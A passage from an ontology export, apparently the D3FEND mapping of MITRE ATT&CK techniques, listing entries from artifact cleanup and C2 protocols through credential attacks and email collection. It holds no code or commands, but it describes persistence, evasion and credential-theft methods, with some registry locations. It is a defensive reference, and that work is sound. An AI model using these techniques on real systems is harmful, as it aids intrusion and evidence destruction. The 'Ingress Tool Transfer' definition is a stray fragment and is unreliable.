definition: Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, [Modify Registry](https://attack.mitre.org/techniques/T1112), [Plist File Modification](https://attack.mitre.org/techniques/T1647), or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm) Adversaries may also delete accounts previously created to maintain persistence (i.e. [Create Account](https://attack.mitre.org/techniques/T1136)).(Citation: Talos - Cisco Attack 2022)
subclass of: T1070

Relocate Malware
type: Class
attack-id: T1070.010
definition: Once a payload is delivered, adversaries may reproduce copies of the same malware on the victim system to remove evidence of their presence and/or avoid defenses. Copying malware payloads to new locations may also be combined with [File Deletion](https://attack.mitre.org/techniques/T1070/004) to cleanup older artifacts.
subclass of: T1070

Web Protocols
type: Class
type: NamedIndividual
attack-id: T1071.001
definition: Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
may-transfer: CertificateFile
produces: OutboundInternetWebTraffic
subclass of: Restriction
  on property: may-transfer
  some values from: CertificateFile
subclass of: Restriction
  on property: produces
  some values from: OutboundInternetWebTraffic
subclass of: T1071

File Transfer Protocols
type: Class
type: NamedIndividual
attack-id: T1071.002
definition: Adversaries may communicate using application layer protocols associated with transferring files to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
produces: OutboundInternetFileTransferTraffic
subclass of: Restriction
  on property: produces
  some values from: OutboundInternetFileTransferTraffic
subclass of: T1071

Mail Protocols
type: Class
type: NamedIndividual
attack-id: T1071.003
definition: Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
produces: OutboundInternetMailTraffic
subclass of: Restriction
  on property: produces
  some values from: OutboundInternetMailTraffic
subclass of: T1071

DNS
type: Class
type: NamedIndividual
attack-id: T1071.004
definition: Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
produces: OutboundInternetDNSLookupTraffic
subclass of: Restriction
  on property: produces
  some values from: OutboundInternetDNSLookupTraffic
subclass of: T1071

Publish/Subscribe Protocols
type: Class
attack-id: T1071.005
definition: Adversaries may communicate using publish/subscribe (pub/sub) application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
subclass of: T1071

DLL Side-Loading
type: Class
attack-id: T1073
definition: Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)
comment: This technique has been revoked by T1574.002
subclass of: DefenseEvasionTechnique
deprecated: true

Local Data Staging
type: Class
type: NamedIndividual
attack-id: T1074.001
definition: Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.
may-create: File
may-invoke: CreateFile
subclass of: Restriction
  on property: may-create
  some values from: File
subclass of: Restriction
  on property: may-invoke
  some values from: CreateFile
subclass of: T1074

Remote Data Staging
type: Class
type: NamedIndividual
attack-id: T1074.002
definition: Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.
modifies: NetworkResource
subclass of: Restriction
  on property: modifies
  some values from: NetworkResource
subclass of: T1074

Pass the Hash
type: Class
attack-id: T1075
definition: Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.
comment: This technique has been revoked by T1550.002
subclass of: LateralMovementTechnique
deprecated: true

Remote Desktop Protocol
type: Class
attack-id: T1076
definition: Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.
comment: This technique has been revoked by T1021.001
subclass of: LateralMovementTechnique
deprecated: true

Windows Admin Shares
type: Class
attack-id: T1077
definition: Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$.
comment: This technique has been revoked by T1021.002
subclass of: LateralMovementTechnique
deprecated: true

Default Accounts
type: Class
type: NamedIndividual
attack-id: T1078.001
definition: Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)
uses: DefaultUserAccount
subclass of: Restriction
  on property: uses
  some values from: DefaultUserAccount
subclass of: T1078

Domain Accounts
type: Class
type: NamedIndividual
attack-id: T1078.002
definition: Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)
uses: DomainUserAccount
subclass of: Restriction
  on property: uses
  some values from: DomainUserAccount
subclass of: T1078

Local Accounts
type: Class
type: NamedIndividual
attack-id: T1078.003
definition: Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.
uses: LocalUserAccount
subclass of: Restriction
  on property: uses
  some values from: LocalUserAccount
subclass of: T1078

Cloud Accounts
type: Class
type: NamedIndividual
attack-id: T1078.004
definition: Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud; alternatively, they may be hybrid-joined between on-premises systems and the cloud through syncing or federation with other identity sources such as Windows Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)
uses: CloudUserAccount
subclass of: Restriction
  on property: uses
  some values from: CloudUserAccount
subclass of: T1078

Multilayer Encryption
type: Class
attack-id: T1079
definition: An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.
comment: This technique has been revoked by T1573
subclass of: CommandAndControlTechnique
deprecated: true

Taint Shared Content
type: Class
type: NamedIndividual
attack-id: T1080
definition: Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
modifies: NetworkResource
subclass of: Restriction
  on property: modifies
  some values from: NetworkResource
subclass of: LateralMovementTechnique

Credentials in Files
type: Class
attack-id: T1081
definition: Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
comment: This technique has been revoked by T1552.001
subclass of: CredentialAccessTechnique
deprecated: true

System Information Discovery
type: Class
type: NamedIndividual
attack-id: T1082
definition: An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
may-access: DecoyArtifact
may-invoke: CreateProcess
subclass of: Restriction
  on property: may-access
  some values from: DecoyArtifact
subclass of: Restriction
  on property: may-invoke
  some values from: CreateProcess
subclass of: DiscoveryTechnique

File and Directory Discovery
type: Class
type: NamedIndividual
accesses: Directory
accesses: File
attack-id: T1083
definition: Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
subclass of: Restriction
  on property: accesses
  some values from: Directory
subclass of: Restriction
  on property: accesses
  some values from: File
subclass of: DiscoveryTechnique

Windows Management Instrumentation Event Subscription
type: Class
attack-id: T1084
definition: Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)
comment: This technique has been revoked by T1546.003
subclass of: PersistenceTechnique
deprecated: true

Rundll32
type: Class
attack-id: T1085
definition: The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.
comment: This technique has been revoked by T1218.011
subclass of: DefenseEvasionTechnique
subclass of: ExecutionTechnique
deprecated: true

PowerShell
type: Class
attack-id: T1086
definition: PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer.
comment: This technique has been revoked by T1059.001
subclass of: ExecutionTechnique
deprecated: true

Local Account
type: Class
type: NamedIndividual
attack-id: T1087.001
definition: Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.
enumerates: LocalUserAccount
subclass of: Restriction
  on property: enumerates
  some values from: LocalUserAccount
subclass of: T1087

Email Account
type: Class
attack-id: T1087.003
definition: Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)
subclass of: T1087

Cloud Account
type: Class
type: NamedIndividual
attack-id: T1087.004
definition: Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.
enumerates: CloudUserAccount
subclass of: Restriction
  on property: enumerates
  some values from: CloudUserAccount
subclass of: T1087

Bypass User Account Control
type: Class
attack-id: T1088
definition: Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)
comment: This technique has been revoked by T1548.002
subclass of: DefenseEvasionTechnique
subclass of: PrivilegeEscalationTechnique
deprecated: true

Disabling Security Tools
type: Class
attack-id: T1089
definition: Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.
comment: This technique has been revoked by T1562.001
subclass of: DefenseEvasionTechnique
deprecated: true

Internal Proxy
type: Class
type: NamedIndividual
attack-id: T1090.001
definition: Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.
produces: IntranetNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: IntranetNetworkTraffic
subclass of: T1090

External Proxy
type: Class
type: NamedIndividual
attack-id: T1090.002
definition: Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.
produces: OutboundInternetNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: OutboundInternetNetworkTraffic
subclass of: T1090

Replication Through Removable Media
type: Class
type: NamedIndividual
attack-id: T1091
definition: Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
executes: RemovableMediaDevice
subclass of: Restriction
  on property: executes
  some values from: RemovableMediaDevice
subclass of: InitialAccessTechnique
subclass of: LateralMovementTechnique

Communication Through Removable Media
type: Class
type: NamedIndividual
attack-id: T1092
definition: Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system.(Citation: ESET Sednit USBStealer 2014) Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.
modifies: RemovableMediaDevice
subclass of: Restriction
  on property: modifies
  some values from: RemovableMediaDevice
subclass of: CommandAndControlTechnique

Process Hollowing
type: Class
attack-id: T1093
definition: Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Elastic Process Injection July 2017)
comment: This technique has been revoked by T1055.012
subclass of: DefenseEvasionTechnique
deprecated: true

Custom Command and Control Protocol
type: Class
attack-id: T1094
definition: Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.
comment: This technique has been revoked by T1095
subclass of: CommandAndControlTechnique
deprecated: true

NTFS File Attributes
type: Class
attack-id: T1096
definition: Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)
comment: This technique has been revoked by T1564.004
subclass of: DefenseEvasionTechnique
deprecated: true

Pass the Ticket
type: Class
attack-id: T1097
definition: Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.
comment: This technique has been revoked by T1550.003
subclass of: LateralMovementTechnique
deprecated: true

Additional Cloud Credentials
type: Class
type: NamedIndividual
attack-id: T1098.001
creates: Credential
definition: Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.
produces: IntranetAdministrativeNetworkTraffic
subclass of: Restriction
  on property: creates
  some values from: Credential
subclass of: Restriction
  on property: produces
  some values from: IntranetAdministrativeNetworkTraffic
subclass of: T1098

Additional Email Delegate Permissions
type: Class
type: NamedIndividual
attack-id: T1098.002
definition: Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account.
modifies: DomainUserAccount
subclass of: Restriction
  on property: modifies
  some values from: DomainUserAccount
subclass of: T1098

Additional Cloud Roles
type: Class
type: NamedIndividual
attack-id: T1098.003
definition: An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)
modifies: GlobalUserAccount
subclass of: Restriction
  on property: modifies
  some values from: GlobalUserAccount
subclass of: T1098

SSH Authorized Keys
type: Class
attack-id: T1098.004
definition: Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.
subclass of: T1098

Device Registration
type: Class
attack-id: T1098.005
definition: Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.
subclass of: T1098

Additional Container Cluster Roles
type: Class
attack-id: T1098.006
definition: An adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system. For example, an adversary with sufficient permissions may create a RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes account.(Citation: Kubernetes RBAC)(Citation: Aquasec Kubernetes Attack 2023) Where attribute-based access control (ABAC) is in use, an adversary with sufficient permissions may modify a Kubernetes ABAC policy to give the target account additional permissions.(Citation: Kuberentes ABAC)
subclass of: T1098

Additional Local or Domain Groups
type: Class
attack-id: T1098.007
definition: An adversary may add additional local or domain groups to an adversary-controlled account to maintain persistent access to a system or domain.
subclass of: T1098

Timestomp
type: Class
attack-id: T1099
definition: Adversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)
comment: This technique has been revoked by T1070.006
subclass of: DefenseEvasionTechnique
deprecated: true

Web Shell
type: Class
attack-id: T1100
definition: A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)
comment: This technique has been revoked by T1505.003
subclass of: PersistenceTechnique
subclass of: PrivilegeEscalationTechnique
deprecated: true

Security Support Provider
type: Class
attack-id: T1101
definition: Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.
comment: This technique has been revoked by T1547.005
subclass of: PersistenceTechnique
deprecated: true

Dead Drop Resolver
type: Class
attack-id: T1102.001
definition: Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.
subclass of: T1102

Bidirectional Communication
type: Class
attack-id: T1102.002
definition: Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet.
subclass of: T1102

One-Way Communication
type: Class
attack-id: T1102.003
definition: Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.
subclass of: T1102

AppInit DLLs
type: Class
attack-id: T1103
definition: Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)
comment: This technique has been revoked by T1546.010
subclass of: PersistenceTechnique
subclass of: PrivilegeEscalationTechnique
deprecated: true

Multi-Stage Channels
type: Class
type: NamedIndividual
attack-id: T1104
definition: Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.
produces: OutboundInternetNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: OutboundInternetNetworkTraffic
subclass of: CommandAndControlTechnique

Ingress Tool Transfer
type: Class
type: NamedIndividual
attack-id: T1105
definition: Session is initiated by the client, and may be a custom protocol which is why it is related to generic network traffic instead of file transfer network traffic.
produces: OutboundInternetNetworkTraffic
subclass of: Restriction
  on property: produces
  some values from: OutboundInternetNetworkTraffic
subclass of: CommandAndControlTechnique

Native API
type: Class
type: NamedIndividual
attack-id: T1106
definition: Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
invokes: SystemCall
subclass of: Restriction
  on property: invokes
  some values from: SystemCall
subclass of: ExecutionTechnique

File Deletion
type: Class
attack-id: T1107
definition: Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
comment: This technique has been revoked by T1070.004
subclass of: DefenseEvasionTechnique
deprecated: true

Redundant Access
type: Class
attack-id: T1108
definition: **This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**
comment: **This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**
subclass of: DefenseEvasionTechnique
subclass of: PersistenceTechnique
deprecated: true

Component Firmware
type: Class
attack-id: T1109
definition: Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.
comment: This technique has been revoked by T1542.002
subclass of: DefenseEvasionTechnique
subclass of: PersistenceTechnique
deprecated: true

Password Guessing
type: Class
type: NamedIndividual
accesses: Password
attack-id: T1110.001
definition: Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.
modifies: AuthenticationLog
produces: Authentication
subclass of: Restriction
  on property: produces
  some values from: Authentication
subclass of: Restriction
  on property: modifies
  some values from: AuthenticationLog
subclass of: Restriction
  on property: accesses
  some values from: Password
subclass of: T1110

Password Cracking
type: Class
type: NamedIndividual
accesses: Password
attack-id: T1110.002
definition: Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further, adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A)
subclass of: Restriction
  on property: accesses
  some values from: Password
subclass of: T1110

Password Spraying
type: Class
type: NamedIndividual
accesses: Password
attack-id: T1110.003
definition: Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)
may-create: IntranetAdministrativeNetworkTraffic
modifies: AuthenticationLog
produces: Authentication
subclass of: Restriction
  on property: produces
  some values from: Authentication
subclass of: Restriction
  on property: accesses
  some values from: Password
subclass of: Restriction
  on property: modifies
  some values from: AuthenticationLog
subclass of: Restriction
  on property: may-create
  some values from: IntranetAdministrativeNetworkTraffic
subclass of: T1110

Credential Stuffing
type: Class
type: NamedIndividual
attack-id: T1110.004
definition: Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.
may-create: IntranetAdministrativeNetworkTraffic
modifies: AuthenticationLog
produces: Authentication
subclass of: Restriction
  on property: may-create
  some values from: IntranetAdministrativeNetworkTraffic
subclass of: Restriction
  on property: modifies
  some values from: AuthenticationLog
subclass of: Restriction
  on property: produces
  some values from: Authentication
subclass of: T1110

Multi-Factor Authentication Interception
type: Class
type: NamedIndividual
attack-id: T1111
definition: Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms.
may-access: SecurityToken
subclass of: Restriction
  on property: may-access
  some values from: SecurityToken
subclass of: CredentialAccessTechnique

Modify Registry
type: Class
type: NamedIndividual
attack-id: T1112
definition: Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
modifies: WindowsRegistry
subclass of: Restriction
  on property: modifies
  some values from: WindowsRegistry
subclass of: DefenseEvasionTechnique
subclass of: PersistenceTechnique

Screen Capture
type: Class
type: NamedIndividual
attack-id: T1113
definition: Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)
may-access: Display Server
may-invoke: GetScreenCapture
subclass of: Restriction
  on property: may-access
  some values from: Display Server
subclass of: Restriction
  on property: may-invoke
  some values from: GetScreenCapture
subclass of: CollectionTechnique

Local Email Collection
type: Class
type: NamedIndividual
attack-id: T1114.001
definition: Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files.
reads: Email
subclass of: Restriction
  on property: reads
  some values from: Email
subclass of: T1114

Remote Email Collection
type: Class
type: NamedIndividual
accesses: MailServer
attack-id: T1114.002
